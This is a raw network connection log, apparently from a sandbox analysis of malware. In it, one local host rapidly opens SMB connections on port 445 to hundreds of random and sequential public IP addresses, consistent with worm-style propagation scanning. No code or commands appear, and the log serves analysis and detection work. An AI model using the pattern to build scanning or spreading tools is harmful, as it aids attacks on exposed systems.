Jul 20, 2022 06:09:00.826687098 CEST	56988	445	192.168.2.6	55.198.246.177
Jul 20, 2022 06:09:00.826760054 CEST	56989	445	192.168.2.6	81.248.74.104
Jul 20, 2022 06:09:00.826953888 CEST	56994	445	192.168.2.6	86.45.60.105
Jul 20, 2022 06:09:00.827007055 CEST	56995	445	192.168.2.6	23.86.232.112
Jul 20, 2022 06:09:00.827181101 CEST	56997	445	192.168.2.6	126.4.100.179
Jul 20, 2022 06:09:00.827332020 CEST	57001	445	192.168.2.6	39.233.56.160
Jul 20, 2022 06:09:00.827554941 CEST	57007	445	192.168.2.6	23.42.160.146
Jul 20, 2022 06:09:00.827934980 CEST	57011	445	192.168.2.6	209.230.187.149
Jul 20, 2022 06:09:00.828035116 CEST	57018	445	192.168.2.6	101.97.223.120
Jul 20, 2022 06:09:00.828402996 CEST	57023	445	192.168.2.6	168.112.157.164
Jul 20, 2022 06:09:00.828507900 CEST	57024	445	192.168.2.6	89.110.203.186
Jul 20, 2022 06:09:00.828541994 CEST	57025	445	192.168.2.6	217.149.12.177
Jul 20, 2022 06:09:01.411056995 CEST	56065	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:09:01.414104939 CEST	57031	445	192.168.2.6	37.21.160.116
Jul 20, 2022 06:09:01.414211988 CEST	57032	445	192.168.2.6	178.159.42.116
Jul 20, 2022 06:09:01.414594889 CEST	57030	445	192.168.2.6	176.241.42.89
Jul 20, 2022 06:09:01.462891102 CEST	445	57030	176.241.42.89	192.168.2.6
Jul 20, 2022 06:09:01.486114025 CEST	57033	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:01.634329081 CEST	445	57033	128.110.36.2	192.168.2.6
Jul 20, 2022 06:09:01.634541035 CEST	57033	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:01.636513948 CEST	57035	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:01.726497889 CEST	56064	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:09:01.755567074 CEST	57036	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:09:01.784486055 CEST	445	57035	128.110.36.2	192.168.2.6
Jul 20, 2022 06:09:01.784619093 CEST	57035	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:01.788283110 CEST	445	57036	134.220.131.2	192.168.2.6
Jul 20, 2022 06:09:01.788386106 CEST	57036	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:09:01.951183081 CEST	57041	445	192.168.2.6	55.206.37.59
Jul 20, 2022 06:09:01.967694998 CEST	57044	445	192.168.2.6	218.90.54.224
Jul 20, 2022 06:09:01.973603010 CEST	57030	445	192.168.2.6	176.241.42.89
Jul 20, 2022 06:09:01.997426033 CEST	57051	445	192.168.2.6	182.196.127.173
Jul 20, 2022 06:09:01.997509956 CEST	57055	445	192.168.2.6	80.101.22.240
Jul 20, 2022 06:09:01.997575998 CEST	57057	445	192.168.2.6	56.154.243.90
Jul 20, 2022 06:09:01.997683048 CEST	57060	445	192.168.2.6	35.95.131.10
Jul 20, 2022 06:09:01.997731924 CEST	57059	445	192.168.2.6	36.181.25.145
Jul 20, 2022 06:09:01.997785091 CEST	57062	445	192.168.2.6	96.77.18.154
Jul 20, 2022 06:09:01.997879028 CEST	57064	445	192.168.2.6	42.137.110.158
Jul 20, 2022 06:09:01.998006105 CEST	57067	445	192.168.2.6	100.201.12.143
Jul 20, 2022 06:09:01.998029947 CEST	57069	445	192.168.2.6	148.79.186.25
Jul 20, 2022 06:09:01.998111963 CEST	57071	445	192.168.2.6	27.84.196.129
Jul 20, 2022 06:09:01.998230934 CEST	57075	445	192.168.2.6	136.173.187.185
Jul 20, 2022 06:09:01.998382092 CEST	57081	445	192.168.2.6	128.212.44.194
Jul 20, 2022 06:09:01.998594046 CEST	57084	445	192.168.2.6	167.163.178.61
Jul 20, 2022 06:09:01.998718023 CEST	57094	445	192.168.2.6	176.152.142.66
Jul 20, 2022 06:09:01.998799086 CEST	57097	445	192.168.2.6	175.100.85.56
Jul 20, 2022 06:09:01.998846054 CEST	57098	445	192.168.2.6	175.207.152.163
Jul 20, 2022 06:09:02.003171921 CEST	57099	445	192.168.2.6	52.213.28.55
Jul 20, 2022 06:09:02.003437042 CEST	57107	445	192.168.2.6	118.241.123.23
Jul 20, 2022 06:09:02.003439903 CEST	57108	445	192.168.2.6	111.245.197.69
Jul 20, 2022 06:09:02.003541946 CEST	57110	445	192.168.2.6	64.137.161.72
Jul 20, 2022 06:09:02.003634930 CEST	57113	445	192.168.2.6	6.150.48.145
Jul 20, 2022 06:09:02.021713018 CEST	445	57030	176.241.42.89	192.168.2.6
Jul 20, 2022 06:09:02.038163900 CEST	57114	445	192.168.2.6	107.186.37.18
Jul 20, 2022 06:09:02.083018064 CEST	57033	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:02.098639965 CEST	57036	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:09:02.207739115 CEST	445	57114	107.186.37.18	192.168.2.6
Jul 20, 2022 06:09:02.207942963 CEST	57114	445	192.168.2.6	107.186.37.18
Jul 20, 2022 06:09:02.208204031 CEST	57114	445	192.168.2.6	107.186.37.18
Jul 20, 2022 06:09:02.223642111 CEST	57035	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:02.232500076 CEST	445	57107	118.241.123.23	192.168.2.6
Jul 20, 2022 06:09:02.348632097 CEST	57036	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:09:02.378319979 CEST	445	57114	107.186.37.18	192.168.2.6
Jul 20, 2022 06:09:02.378592014 CEST	57114	445	192.168.2.6	107.186.37.18
Jul 20, 2022 06:09:02.475219965 CEST	57117	445	192.168.2.6	176.241.42.90
Jul 20, 2022 06:09:02.475727081 CEST	57118	445	192.168.2.6	37.21.160.117
Jul 20, 2022 06:09:02.476221085 CEST	57119	445	192.168.2.6	178.159.42.117
Jul 20, 2022 06:09:02.504905939 CEST	57033	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:02.549222946 CEST	445	57114	107.186.37.18	192.168.2.6
Jul 20, 2022 06:09:02.549518108 CEST	57114	445	192.168.2.6	107.186.37.18
Jul 20, 2022 06:09:02.645540953 CEST	57035	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:02.719841957 CEST	445	57114	107.186.37.18	192.168.2.6
Jul 20, 2022 06:09:02.739254951 CEST	57107	445	192.168.2.6	118.241.123.23
Jul 20, 2022 06:09:02.787522078 CEST	57121	445	192.168.2.6	107.186.37.19
Jul 20, 2022 06:09:02.956650972 CEST	445	57121	107.186.37.19	192.168.2.6
Jul 20, 2022 06:09:02.956826925 CEST	57121	445	192.168.2.6	107.186.37.19
Jul 20, 2022 06:09:02.960911989 CEST	57036	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:09:02.961318016 CEST	57121	445	192.168.2.6	107.186.37.19
Jul 20, 2022 06:09:02.964312077 CEST	57122	445	192.168.2.6	107.186.37.19
Jul 20, 2022 06:09:02.967865944 CEST	445	57107	118.241.123.23	192.168.2.6
Jul 20, 2022 06:09:03.056356907 CEST	57127	445	192.168.2.6	47.71.229.2
Jul 20, 2022 06:09:03.085671902 CEST	57132	445	192.168.2.6	184.45.82.36
Jul 20, 2022 06:09:03.115986109 CEST	57134	445	192.168.2.6	64.37.187.193
Jul 20, 2022 06:09:03.120989084 CEST	57141	445	192.168.2.6	27.102.176.25
Jul 20, 2022 06:09:03.130017996 CEST	445	57121	107.186.37.19	192.168.2.6
Jul 20, 2022 06:09:03.130053043 CEST	445	57121	107.186.37.19	192.168.2.6
Jul 20, 2022 06:09:03.135072947 CEST	445	57122	107.186.37.19	192.168.2.6
Jul 20, 2022 06:09:03.135265112 CEST	57122	445	192.168.2.6	107.186.37.19
Jul 20, 2022 06:09:03.145194054 CEST	57122	445	192.168.2.6	107.186.37.19
Jul 20, 2022 06:09:03.149223089 CEST	57147	445	192.168.2.6	57.141.119.169
Jul 20, 2022 06:09:03.255397081 CEST	57149	445	192.168.2.6	9.136.17.149
Jul 20, 2022 06:09:03.255608082 CEST	57152	445	192.168.2.6	30.14.206.88
Jul 20, 2022 06:09:03.255882978 CEST	57158	445	192.168.2.6	184.216.141.191
Jul 20, 2022 06:09:03.255959034 CEST	57159	445	192.168.2.6	55.26.115.112
Jul 20, 2022 06:09:03.256040096 CEST	57161	445	192.168.2.6	10.138.184.44
Jul 20, 2022 06:09:03.256184101 CEST	57164	445	192.168.2.6	178.75.108.171
Jul 20, 2022 06:09:03.256395102 CEST	57168	445	192.168.2.6	41.185.129.174
Jul 20, 2022 06:09:03.256505013 CEST	57170	445	192.168.2.6	95.90.42.128
Jul 20, 2022 06:09:03.256655931 CEST	57174	445	192.168.2.6	172.95.9.172
Jul 20, 2022 06:09:03.256814957 CEST	57177	445	192.168.2.6	136.132.48.79
Jul 20, 2022 06:09:03.256963968 CEST	57181	445	192.168.2.6	174.107.249.11
Jul 20, 2022 06:09:03.257177114 CEST	57187	445	192.168.2.6	54.123.114.159
Jul 20, 2022 06:09:03.257350922 CEST	57192	445	192.168.2.6	120.113.220.119
Jul 20, 2022 06:09:03.257437944 CEST	57193	445	192.168.2.6	190.7.4.190
Jul 20, 2022 06:09:03.257555962 CEST	57196	445	192.168.2.6	214.111.208.130
Jul 20, 2022 06:09:03.257633924 CEST	57197	445	192.168.2.6	19.156.7.133
Jul 20, 2022 06:09:03.257690907 CEST	57198	445	192.168.2.6	55.100.241.19
Jul 20, 2022 06:09:03.257801056 CEST	57200	445	192.168.2.6	56.156.89.202
Jul 20, 2022 06:09:03.316390038 CEST	445	57122	107.186.37.19	192.168.2.6
Jul 20, 2022 06:09:03.316670895 CEST	57122	445	192.168.2.6	107.186.37.19
Jul 20, 2022 06:09:03.380027056 CEST	57033	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:03.490065098 CEST	445	57122	107.186.37.19	192.168.2.6
Jul 20, 2022 06:09:03.499840975 CEST	57122	445	192.168.2.6	107.186.37.19
Jul 20, 2022 06:09:03.536226034 CEST	57035	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:03.537560940 CEST	57203	445	192.168.2.6	37.21.160.118
Jul 20, 2022 06:09:03.538237095 CEST	57204	445	192.168.2.6	176.241.42.91
Jul 20, 2022 06:09:03.538316965 CEST	57205	445	192.168.2.6	178.159.42.118
Jul 20, 2022 06:09:03.595356941 CEST	445	57204	176.241.42.91	192.168.2.6
Jul 20, 2022 06:09:03.670666933 CEST	445	57122	107.186.37.19	192.168.2.6
Jul 20, 2022 06:09:04.098797083 CEST	57204	445	192.168.2.6	176.241.42.91
Jul 20, 2022 06:09:04.154668093 CEST	445	57204	176.241.42.91	192.168.2.6
Jul 20, 2022 06:09:04.161268950 CEST	57036	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:09:04.164113045 CEST	57210	445	192.168.2.6	51.167.142.200
Jul 20, 2022 06:09:04.226166010 CEST	57217	445	192.168.2.6	57.161.180.168
Jul 20, 2022 06:09:04.241513968 CEST	57219	445	192.168.2.6	142.137.4.174
Jul 20, 2022 06:09:04.246269941 CEST	57226	445	192.168.2.6	51.104.44.34
Jul 20, 2022 06:09:04.260586023 CEST	57227	445	192.168.2.6	43.77.105.217
Jul 20, 2022 06:09:04.367923975 CEST	57234	445	192.168.2.6	174.111.5.0
Jul 20, 2022 06:09:04.370341063 CEST	57237	445	192.168.2.6	16.248.118.90
Jul 20, 2022 06:09:04.371754885 CEST	57240	445	192.168.2.6	153.0.238.167
Jul 20, 2022 06:09:04.373903036 CEST	57244	445	192.168.2.6	218.211.122.61
Jul 20, 2022 06:09:04.376602888 CEST	57247	445	192.168.2.6	82.52.28.58
Jul 20, 2022 06:09:04.402164936 CEST	57254	445	192.168.2.6	122.61.21.227
Jul 20, 2022 06:09:04.402317047 CEST	57259	445	192.168.2.6	218.226.105.49
Jul 20, 2022 06:09:04.402338982 CEST	57260	445	192.168.2.6	182.192.21.147
Jul 20, 2022 06:09:04.402503967 CEST	57263	445	192.168.2.6	206.185.26.248
Jul 20, 2022 06:09:04.402525902 CEST	57264	445	192.168.2.6	195.83.71.10
Jul 20, 2022 06:09:04.402600050 CEST	57265	445	192.168.2.6	216.54.97.193
Jul 20, 2022 06:09:04.402692080 CEST	57267	445	192.168.2.6	116.75.6.162
Jul 20, 2022 06:09:04.402707100 CEST	57268	445	192.168.2.6	67.77.170.158
Jul 20, 2022 06:09:04.402826071 CEST	57270	445	192.168.2.6	154.113.106.167
Jul 20, 2022 06:09:04.402939081 CEST	57273	445	192.168.2.6	189.25.43.16
Jul 20, 2022 06:09:04.403208017 CEST	57279	445	192.168.2.6	198.236.96.101
Jul 20, 2022 06:09:04.403209925 CEST	57280	445	192.168.2.6	87.34.142.211
Jul 20, 2022 06:09:04.403321981 CEST	57282	445	192.168.2.6	9.168.180.103
Jul 20, 2022 06:09:04.627036095 CEST	57286	445	192.168.2.6	37.21.160.119
Jul 20, 2022 06:09:04.627170086 CEST	57287	445	192.168.2.6	176.241.42.92
Jul 20, 2022 06:09:04.627202034 CEST	57288	445	192.168.2.6	178.159.42.119
Jul 20, 2022 06:09:05.130214930 CEST	57033	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:05.275372982 CEST	57297	445	192.168.2.6	41.119.51.198
Jul 20, 2022 06:09:05.302099943 CEST	57035	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:05.390927076 CEST	57303	445	192.168.2.6	12.245.31.23
Jul 20, 2022 06:09:05.402667999 CEST	57308	445	192.168.2.6	103.141.107.245
Jul 20, 2022 06:09:05.403646946 CEST	57310	445	192.168.2.6	179.48.149.222
Jul 20, 2022 06:09:05.403810024 CEST	57314	445	192.168.2.6	50.35.120.196
Jul 20, 2022 06:09:05.490425110 CEST	57318	445	192.168.2.6	146.115.194.167
Jul 20, 2022 06:09:05.507484913 CEST	57321	445	192.168.2.6	23.65.167.201
Jul 20, 2022 06:09:05.512281895 CEST	57323	445	192.168.2.6	206.165.204.214
Jul 20, 2022 06:09:05.513164043 CEST	57326	445	192.168.2.6	125.128.254.63
Jul 20, 2022 06:09:05.513264894 CEST	57330	445	192.168.2.6	196.142.214.60
Jul 20, 2022 06:09:05.569829941 CEST	57335	445	192.168.2.6	54.188.153.249
Jul 20, 2022 06:09:05.573718071 CEST	57341	445	192.168.2.6	17.79.140.123
Jul 20, 2022 06:09:05.574443102 CEST	57342	445	192.168.2.6	128.24.233.5
Jul 20, 2022 06:09:05.575735092 CEST	57344	445	192.168.2.6	189.188.240.168
Jul 20, 2022 06:09:05.599361897 CEST	57354	445	192.168.2.6	12.217.61.44
Jul 20, 2022 06:09:05.599560976 CEST	57357	445	192.168.2.6	152.27.5.191
Jul 20, 2022 06:09:05.599740982 CEST	57361	445	192.168.2.6	37.192.222.206
Jul 20, 2022 06:09:05.599822998 CEST	57363	445	192.168.2.6	135.27.175.156
Jul 20, 2022 06:09:05.599837065 CEST	57364	445	192.168.2.6	94.101.171.142
Jul 20, 2022 06:09:05.599946022 CEST	57358	445	192.168.2.6	82.58.205.227
Jul 20, 2022 06:09:05.599982023 CEST	57365	445	192.168.2.6	4.70.27.82
Jul 20, 2022 06:09:05.600033045 CEST	57367	445	192.168.2.6	5.9.52.236
Jul 20, 2022 06:09:05.600058079 CEST	57368	445	192.168.2.6	192.66.185.215
Jul 20, 2022 06:09:05.694624901 CEST	57372	445	192.168.2.6	178.159.42.120
Jul 20, 2022 06:09:05.694868088 CEST	57371	445	192.168.2.6	37.21.160.120
Jul 20, 2022 06:09:05.695492983 CEST	57373	445	192.168.2.6	176.241.42.93
Jul 20, 2022 06:09:05.722438097 CEST	445	57372	178.159.42.120	192.168.2.6
Jul 20, 2022 06:09:06.223969936 CEST	57372	445	192.168.2.6	178.159.42.120
Jul 20, 2022 06:09:06.252357960 CEST	445	57372	178.159.42.120	192.168.2.6
Jul 20, 2022 06:09:06.398365974 CEST	57381	445	192.168.2.6	8.114.18.207
Jul 20, 2022 06:09:06.507280111 CEST	57387	445	192.168.2.6	10.44.2.92
Jul 20, 2022 06:09:06.523061991 CEST	57393	445	192.168.2.6	64.7.17.20
Jul 20, 2022 06:09:06.524269104 CEST	57395	445	192.168.2.6	217.151.13.117
Jul 20, 2022 06:09:06.536278963 CEST	57399	445	192.168.2.6	168.26.36.186
Jul 20, 2022 06:09:06.567712069 CEST	57036	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:09:06.599662066 CEST	57403	445	192.168.2.6	181.158.250.193
Jul 20, 2022 06:09:06.632215977 CEST	57406	445	192.168.2.6	166.48.152.13
Jul 20, 2022 06:09:06.633193016 CEST	57408	445	192.168.2.6	181.129.127.32
Jul 20, 2022 06:09:06.635571957 CEST	57413	445	192.168.2.6	212.22.22.126
Jul 20, 2022 06:09:06.637108088 CEST	57416	445	192.168.2.6	56.101.183.181
Jul 20, 2022 06:09:06.678081989 CEST	57419	445	192.168.2.6	107.186.37.19
Jul 20, 2022 06:09:06.698306084 CEST	57421	445	192.168.2.6	193.96.160.79
Jul 20, 2022 06:09:06.698527098 CEST	57428	445	192.168.2.6	201.82.15.41
Jul 20, 2022 06:09:06.698601007 CEST	57427	445	192.168.2.6	130.71.211.183
Jul 20, 2022 06:09:06.698607922 CEST	57430	445	192.168.2.6	62.134.62.32
Jul 20, 2022 06:09:06.732824087 CEST	57438	445	192.168.2.6	107.27.29.83
Jul 20, 2022 06:09:06.732969999 CEST	57437	445	192.168.2.6	171.231.186.64
Jul 20, 2022 06:09:06.732975960 CEST	57440	445	192.168.2.6	7.13.118.6
Jul 20, 2022 06:09:06.733031034 CEST	57441	445	192.168.2.6	56.85.180.251
Jul 20, 2022 06:09:06.733091116 CEST	57443	445	192.168.2.6	19.111.119.132
Jul 20, 2022 06:09:06.733120918 CEST	57442	445	192.168.2.6	69.204.249.251
Jul 20, 2022 06:09:06.733299017 CEST	57447	445	192.168.2.6	171.9.94.154
Jul 20, 2022 06:09:06.733369112 CEST	57449	445	192.168.2.6	54.62.10.99
Jul 20, 2022 06:09:06.733469009 CEST	57451	445	192.168.2.6	171.112.68.0
Jul 20, 2022 06:09:06.756720066 CEST	57457	445	192.168.2.6	178.159.42.121
Jul 20, 2022 06:09:06.757667065 CEST	57458	445	192.168.2.6	37.21.160.121
Jul 20, 2022 06:09:06.757769108 CEST	57459	445	192.168.2.6	176.241.42.94
Jul 20, 2022 06:09:06.847006083 CEST	445	57419	107.186.37.19	192.168.2.6
Jul 20, 2022 06:09:06.847196102 CEST	57419	445	192.168.2.6	107.186.37.19
Jul 20, 2022 06:09:06.847567081 CEST	57419	445	192.168.2.6	107.186.37.19
Jul 20, 2022 06:09:06.946088076 CEST	445	57437	171.231.186.64	192.168.2.6
Jul 20, 2022 06:09:07.016745090 CEST	445	57419	107.186.37.19	192.168.2.6
Jul 20, 2022 06:09:07.017170906 CEST	57419	445	192.168.2.6	107.186.37.19
Jul 20, 2022 06:09:07.187175989 CEST	445	57419	107.186.37.19	192.168.2.6
Jul 20, 2022 06:09:07.187597990 CEST	57419	445	192.168.2.6	107.186.37.19
Jul 20, 2022 06:09:07.357270002 CEST	445	57419	107.186.37.19	192.168.2.6
Jul 20, 2022 06:09:07.413177967 CEST	57464	445	192.168.2.6	107.186.37.20
Jul 20, 2022 06:09:07.458468914 CEST	57437	445	192.168.2.6	171.231.186.64
Jul 20, 2022 06:09:07.508670092 CEST	57470	445	192.168.2.6	195.243.53.12
Jul 20, 2022 06:09:07.584621906 CEST	445	57464	107.186.37.20	192.168.2.6
Jul 20, 2022 06:09:07.584811926 CEST	57464	445	192.168.2.6	107.186.37.20
Jul 20, 2022 06:09:07.593581915 CEST	57464	445	192.168.2.6	107.186.37.20
Jul 20, 2022 06:09:07.597485065 CEST	57472	445	192.168.2.6	107.186.37.20
Jul 20, 2022 06:09:07.619620085 CEST	57477	445	192.168.2.6	41.211.187.67
Jul 20, 2022 06:09:07.630943060 CEST	57482	445	192.168.2.6	44.165.22.62
Jul 20, 2022 06:09:07.631931067 CEST	57484	445	192.168.2.6	157.149.27.63
Jul 20, 2022 06:09:07.674287081 CEST	445	57437	171.231.186.64	192.168.2.6
Jul 20, 2022 06:09:07.692298889 CEST	57490	445	192.168.2.6	142.88.110.186
Jul 20, 2022 06:09:07.724735975 CEST	57492	445	192.168.2.6	164.128.250.206
Jul 20, 2022 06:09:07.756458998 CEST	57493	445	192.168.2.6	95.219.160.27
Jul 20, 2022 06:09:07.762799978 CEST	445	57464	107.186.37.20	192.168.2.6
Jul 20, 2022 06:09:07.762825966 CEST	445	57464	107.186.37.20	192.168.2.6
Jul 20, 2022 06:09:07.766875029 CEST	445	57472	107.186.37.20	192.168.2.6
Jul 20, 2022 06:09:07.766941071 CEST	57498	445	192.168.2.6	171.1.30.37
Jul 20, 2022 06:09:07.766982079 CEST	57472	445	192.168.2.6	107.186.37.20
Jul 20, 2022 06:09:07.767261028 CEST	57472	445	192.168.2.6	107.186.37.20
Jul 20, 2022 06:09:07.773080111 CEST	57502	445	192.168.2.6	52.128.59.39
Jul 20, 2022 06:09:07.792198896 CEST	57504	445	192.168.2.6	179.198.232.38
Jul 20, 2022 06:09:07.824388027 CEST	57511	445	192.168.2.6	162.117.94.23
Jul 20, 2022 06:09:07.827950001 CEST	57515	445	192.168.2.6	160.174.31.153
Jul 20, 2022 06:09:07.829817057 CEST	57517	445	192.168.2.6	121.107.30.147
Jul 20, 2022 06:09:07.830794096 CEST	57518	445	192.168.2.6	4.134.206.3
Jul 20, 2022 06:09:07.835629940 CEST	57523	445	192.168.2.6	178.159.42.122
Jul 20, 2022 06:09:07.836108923 CEST	57524	445	192.168.2.6	37.21.160.122
Jul 20, 2022 06:09:07.836652994 CEST	57525	445	192.168.2.6	176.241.42.95
Jul 20, 2022 06:09:07.851416111 CEST	57529	445	192.168.2.6	180.13.126.137
Jul 20, 2022 06:09:07.866892099 CEST	57533	445	192.168.2.6	195.25.125.158
Jul 20, 2022 06:09:07.867116928 CEST	445	57523	178.159.42.122	192.168.2.6
Jul 20, 2022 06:09:07.867151022 CEST	57534	445	192.168.2.6	136.86.231.110
Jul 20, 2022 06:09:07.867348909 CEST	57540	445	192.168.2.6	161.18.41.40
Jul 20, 2022 06:09:07.867376089 CEST	57539	445	192.168.2.6	39.116.98.126
Jul 20, 2022 06:09:07.867465973 CEST	57541	445	192.168.2.6	182.154.148.11
Jul 20, 2022 06:09:07.867547035 CEST	57543	445	192.168.2.6	98.184.139.190
Jul 20, 2022 06:09:07.867548943 CEST	57542	445	192.168.2.6	223.34.145.106
Jul 20, 2022 06:09:07.867610931 CEST	57545	445	192.168.2.6	96.53.34.210
Jul 20, 2022 06:09:07.936583996 CEST	445	57472	107.186.37.20	192.168.2.6
Jul 20, 2022 06:09:07.936801910 CEST	57472	445	192.168.2.6	107.186.37.20
Jul 20, 2022 06:09:08.108465910 CEST	445	57472	107.186.37.20	192.168.2.6
Jul 20, 2022 06:09:08.109674931 CEST	57472	445	192.168.2.6	107.186.37.20
Jul 20, 2022 06:09:08.279828072 CEST	445	57472	107.186.37.20	192.168.2.6
Jul 20, 2022 06:09:08.380462885 CEST	57523	445	192.168.2.6	178.159.42.122
Jul 20, 2022 06:09:08.408142090 CEST	445	57523	178.159.42.122	192.168.2.6
Jul 20, 2022 06:09:08.630501032 CEST	57033	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:08.649127007 CEST	57557	445	192.168.2.6	92.12.51.164
Jul 20, 2022 06:09:08.728276014 CEST	57565	445	192.168.2.6	219.229.222.61
Jul 20, 2022 06:09:08.758181095 CEST	57568	445	192.168.2.6	128.86.198.219
Jul 20, 2022 06:09:08.758276939 CEST	57569	445	192.168.2.6	88.166.71.117
Jul 20, 2022 06:09:08.788091898 CEST	57575	445	192.168.2.6	215.184.125.138
Jul 20, 2022 06:09:08.817998886 CEST	57035	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:08.852324009 CEST	57578	445	192.168.2.6	186.156.46.86
Jul 20, 2022 06:09:08.869692087 CEST	57580	445	192.168.2.6	102.158.157.157
Jul 20, 2022 06:09:08.869813919 CEST	57584	445	192.168.2.6	95.166.159.188
Jul 20, 2022 06:09:08.881958961 CEST	57587	445	192.168.2.6	31.164.90.119
Jul 20, 2022 06:09:08.897525072 CEST	57590	445	192.168.2.6	36.126.86.186
Jul 20, 2022 06:09:08.913126945 CEST	57594	445	192.168.2.6	178.159.42.123
Jul 20, 2022 06:09:08.913140059 CEST	57595	445	192.168.2.6	37.21.160.123
Jul 20, 2022 06:09:08.913203001 CEST	57596	445	192.168.2.6	176.241.42.96
Jul 20, 2022 06:09:08.971401930 CEST	57600	445	192.168.2.6	37.161.183.173
Jul 20, 2022 06:09:08.971544981 CEST	57604	445	192.168.2.6	189.53.46.191
Jul 20, 2022 06:09:08.971700907 CEST	57606	445	192.168.2.6	136.204.135.219
Jul 20, 2022 06:09:08.971776009 CEST	57607	445	192.168.2.6	124.16.136.75
Jul 20, 2022 06:09:09.020247936 CEST	57613	445	192.168.2.6	46.158.2.52
Jul 20, 2022 06:09:09.020404100 CEST	57612	445	192.168.2.6	3.123.155.174
Jul 20, 2022 06:09:09.020411015 CEST	57615	445	192.168.2.6	93.181.218.238
Jul 20, 2022 06:09:09.020623922 CEST	57621	445	192.168.2.6	54.47.1.201
Jul 20, 2022 06:09:09.020657063 CEST	57620	445	192.168.2.6	216.114.103.207
Jul 20, 2022 06:09:09.020772934 CEST	57622	445	192.168.2.6	115.252.239.149
Jul 20, 2022 06:09:09.020899057 CEST	57624	445	192.168.2.6	114.77.214.128
Jul 20, 2022 06:09:09.020901918 CEST	57625	445	192.168.2.6	57.24.3.139
Jul 20, 2022 06:09:09.021013975 CEST	57629	445	192.168.2.6	129.116.136.184
Jul 20, 2022 06:09:09.084877014 CEST	445	57615	93.181.218.238	192.168.2.6
Jul 20, 2022 06:09:09.170839071 CEST	445	57604	189.53.46.191	192.168.2.6
Jul 20, 2022 06:09:09.599253893 CEST	57615	445	192.168.2.6	93.181.218.238
Jul 20, 2022 06:09:09.664622068 CEST	445	57615	93.181.218.238	192.168.2.6
Jul 20, 2022 06:09:09.677364111 CEST	57604	445	192.168.2.6	189.53.46.191
Jul 20, 2022 06:09:09.759670019 CEST	57645	445	192.168.2.6	105.207.186.50
Jul 20, 2022 06:09:09.877465010 CEST	445	57604	189.53.46.191	192.168.2.6
Jul 20, 2022 06:09:09.879667997 CEST	57652	445	192.168.2.6	140.105.77.218
Jul 20, 2022 06:09:09.899616003 CEST	57657	445	192.168.2.6	131.198.130.230
Jul 20, 2022 06:09:09.901699066 CEST	57661	445	192.168.2.6	82.102.82.72
Jul 20, 2022 06:09:09.913862944 CEST	57662	445	192.168.2.6	199.94.164.129
Jul 20, 2022 06:09:09.976854086 CEST	57665	445	192.168.2.6	36.25.220.254
Jul 20, 2022 06:09:09.991033077 CEST	57667	445	192.168.2.6	121.32.34.12
Jul 20, 2022 06:09:09.991909981 CEST	57668	445	192.168.2.6	178.159.42.124
Jul 20, 2022 06:09:09.992489100 CEST	57669	445	192.168.2.6	176.241.42.97
Jul 20, 2022 06:09:09.992993116 CEST	57670	445	192.168.2.6	37.21.160.124
Jul 20, 2022 06:09:09.993997097 CEST	57672	445	192.168.2.6	148.93.149.233
Jul 20, 2022 06:09:10.006603956 CEST	57677	445	192.168.2.6	54.28.31.112
Jul 20, 2022 06:09:10.021523952 CEST	445	57668	178.159.42.124	192.168.2.6
Jul 20, 2022 06:09:10.024506092 CEST	57683	445	192.168.2.6	32.167.185.205
Jul 20, 2022 06:09:10.043385983 CEST	445	57669	176.241.42.97	192.168.2.6
Jul 20, 2022 06:09:10.153503895 CEST	57689	445	192.168.2.6	151.167.0.30
Jul 20, 2022 06:09:10.153635979 CEST	57690	445	192.168.2.6	143.127.29.32
Jul 20, 2022 06:09:10.153644085 CEST	57692	445	192.168.2.6	205.50.143.167
Jul 20, 2022 06:09:10.153875113 CEST	57697	445	192.168.2.6	178.146.20.191
Jul 20, 2022 06:09:10.160567999 CEST	57701	445	192.168.2.6	209.128.219.236
Jul 20, 2022 06:09:10.160804033 CEST	57699	445	192.168.2.6	218.55.29.39
Jul 20, 2022 06:09:10.160851002 CEST	57704	445	192.168.2.6	7.109.224.119
Jul 20, 2022 06:09:10.161014080 CEST	57707	445	192.168.2.6	208.23.72.45
Jul 20, 2022 06:09:10.161103964 CEST	57710	445	192.168.2.6	73.179.98.183
Jul 20, 2022 06:09:10.161118031 CEST	57709	445	192.168.2.6	171.97.72.50
Jul 20, 2022 06:09:10.161211967 CEST	57712	445	192.168.2.6	37.102.131.144
Jul 20, 2022 06:09:10.161221981 CEST	57711	445	192.168.2.6	82.137.251.143
Jul 20, 2022 06:09:10.161345959 CEST	57714	445	192.168.2.6	138.205.216.226
Jul 20, 2022 06:09:10.536840916 CEST	57668	445	192.168.2.6	178.159.42.124
Jul 20, 2022 06:09:10.552503109 CEST	57669	445	192.168.2.6	176.241.42.97
Jul 20, 2022 06:09:10.565510988 CEST	445	57668	178.159.42.124	192.168.2.6
Jul 20, 2022 06:09:10.613852978 CEST	445	57669	176.241.42.97	192.168.2.6
Jul 20, 2022 06:09:10.771244049 CEST	56064	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:09:10.883430004 CEST	57732	445	192.168.2.6	103.195.23.148
Jul 20, 2022 06:09:10.975811958 CEST	57736	445	192.168.2.6	104.162.177.145
Jul 20, 2022 06:09:11.025310040 CEST	57742	445	192.168.2.6	86.21.31.37
Jul 20, 2022 06:09:11.025600910 CEST	57744	445	192.168.2.6	218.152.237.17
Jul 20, 2022 06:09:11.025722980 CEST	57748	445	192.168.2.6	33.38.101.203
